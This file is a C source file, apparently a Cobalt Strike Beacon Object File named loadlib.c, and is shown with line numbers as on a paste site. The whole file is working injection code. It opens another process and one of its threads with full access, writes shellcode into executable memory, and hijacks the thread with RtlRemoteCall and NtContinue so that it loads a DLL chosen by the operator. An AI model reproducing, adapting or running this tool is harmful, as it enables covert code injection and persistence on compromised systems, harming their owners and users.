loadlib.c 4.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <tlhelp32.h>
  4. #include <stddef.h>
  5. #include <processsnapshot.h>
  6. #include "beacon.h"
  7. #include "loadlib.h"
  8. int FindThreadID(int pid){
  9. int tid = 0;
  10. THREADENTRY32 thEntry;
  11. thEntry.dwSize = sizeof(thEntry);
  12. HANDLE Snap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  13. while (KERNEL32$Thread32Next(Snap, &thEntry)) {
  14. if (thEntry.th32OwnerProcessID == pid) {
  15. tid = thEntry.th32ThreadID;
  16. break;
  17. }
  18. }
  19. KERNEL32$CloseHandle(Snap);
  20. return tid;
  21. }
  22. typedef struct _API_REMOTE_CALL {
  23. size_t retval;
  24. NtContinue_t ntContinue;
  25. CONTEXT context;
  26. LoadLibraryA_t ARK_func;
  27. char param1[100]; // LPCSTR
  28. } ApiReeKall;
  29. void SHELLCODE(ApiReeKall * ark){
  30. size_t ret = (size_t) ark->ARK_func(ark->param1);
  31. ark->retval = ret;
  32. ark->ntContinue(&ark->context, 0);
  33. }
  34. void SHELLCODE_END(void) {}
  35. size_t MakeReeKall(HANDLE hProcess, HANDLE hThread, ApiReeKall ark) {
  36. char prolog[] = { 0x49, 0x8b, 0xcc, // mov rcx, r12
  37. 0x49, 0x8b, 0xd5, // mov rdx, r13
  38. 0x4d, 0x8b, 0xc6, // mov r8, r14
  39. 0x4d, 0x8b, 0xcf // mov r9, r15
  40. };
  41. int prolog_size = sizeof(prolog);
  42. RtlRemoteCall_t pRtlRemoteCall = (RtlRemoteCall_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlRemoteCall");
  43. NtContinue_t pNtContinue = (NtContinue_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtContinue");
  44. if (pRtlRemoteCall == NULL || pNtContinue == NULL) {
  45. BeaconPrintf(CALLBACK_ERROR, "Error resolving native API calls!\n");
  46. return -1;
  47. }
  48. void * remote_mem = KERNEL32$VirtualAllocEx(hProcess, 0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  49. if (remote_mem == NULL) {
  50. BeaconPrintf(CALLBACK_ERROR, "Error allocating remote memory!\n");
  51. return -1;
  52. }
  53. size_t sc_size = (size_t) SHELLCODE_END - (size_t) SHELLCODE;
  54. size_t bOut = 0;
  55. #ifdef _WIN64
  56. if (KERNEL32$WriteProcessMemory(hProcess, remote_mem, prolog, prolog_size, (SIZE_T *) &bOut) == 0) {
  57. KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
  58. BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (prolog)!\n");
  59. return -1;
  60. }
  61. #else
  62. prolog_size = 0;
  63. #endif
  64. if (KERNEL32$WriteProcessMemory(hProcess, (char *) remote_mem + prolog_size, &SHELLCODE, sc_size, (SIZE_T *) &bOut) == 0) {
  65. KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
  66. BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (shellcode)!\n");
  67. return -1;
  68. }
  69. ark.retval = RETVAL_TAG;
  70. ark.ntContinue = pNtContinue;
  71. ark.context.ContextFlags = CONTEXT_FULL;
  72. KERNEL32$SuspendThread(hThread);
  73. KERNEL32$GetThreadContext(hThread, &ark.context);
  74. ApiReeKall * ark_arg;
  75. ark_arg = (ApiReeKall *) ((size_t) remote_mem + sc_size + prolog_size + 4);
  76. if (KERNEL32$WriteProcessMemory(hProcess, ark_arg, &ark, sizeof(ApiReeKall), 0) == 0) {
  77. KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
  78. KERNEL32$ResumeThread(hThread);
  79. BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (ApiReeKall arg)!\n");
  80. return -1;
  81. }
  82. NTSTATUS status = pRtlRemoteCall(hProcess, hThread, remote_mem, 1, (PULONG) &ark_arg, 1, 1);
  83. if (status != 0) {
  84. BeaconPrintf(CALLBACK_ERROR, "Failed RtlRemoteCall with status code: %x\n", status);
  85. KERNEL32$ResumeThread(hThread);
  86. return 0;
  87. }
  88. BeaconPrintf(CALLBACK_OUTPUT, "[+] Made successful remote RPC call with status code: %x\n[*] Wait for the RPC call to be triggered in the remote process..\n", status);
  89. KERNEL32$ResumeThread(hThread);
  90. size_t ret = 0;
  91. while(TRUE) {
  92. KERNEL32$Sleep(1000);
  93. KERNEL32$ReadProcessMemory(hProcess, ark_arg, &ret, sizeof(size_t), (SIZE_T *) &bOut);
  94. if (ret != RETVAL_TAG) break;
  95. }
  96. if (!KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE))
  97. BeaconPrintf(CALLBACK_ERROR, "Remote shellcode memory could not be released\n");
  98. return ret;
  99. }
  100. void go(char *args, int len){
  101. datap parser;
  102. int pID = 0;
  103. char *pathToDLL;
  104. BeaconDataParse(&parser, args, len);
  105. pID = BeaconDataInt(&parser);
  106. pathToDLL = BeaconDataExtract(&parser, NULL);
  107. DWORD tID = FindThreadID(pID);
  108. if (tID == 0) {
  109. BeaconPrintf(CALLBACK_ERROR, "Could not find a suitable thread in target process!\n");
  110. return -1;
  111. }
  112. HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, pID);
  113. HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, 0, tID);
  114. if (hProcess == NULL || hThread == NULL) {
  115. BeaconPrintf(CALLBACK_ERROR, "Error opening remote process or thread!\n");
  116. return -1;
  117. }
  118. BeaconPrintf(CALLBACK_OUTPUT, "[+] Got handle to remote process and thread!\n");
  119. ApiReeKall ark = { 0 };
  120. ark.ARK_func = (LoadLibraryA_t) GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA");
  121. MSVCRT$strcpy_s(ark.param1, 100, pathToDLL);
  122. size_t ret = MakeReeKall(hProcess, hThread, ark);
  123. if(ret != 0) {
  124. BeaconPrintf(CALLBACK_OUTPUT, "[+] Received call confirmation. DLL should be loaded!\n", ret);
  125. }
  126. KERNEL32$CloseHandle(hThread);
  127. KERNEL32$CloseHandle(hProcess);
  128. return 0;
  129. }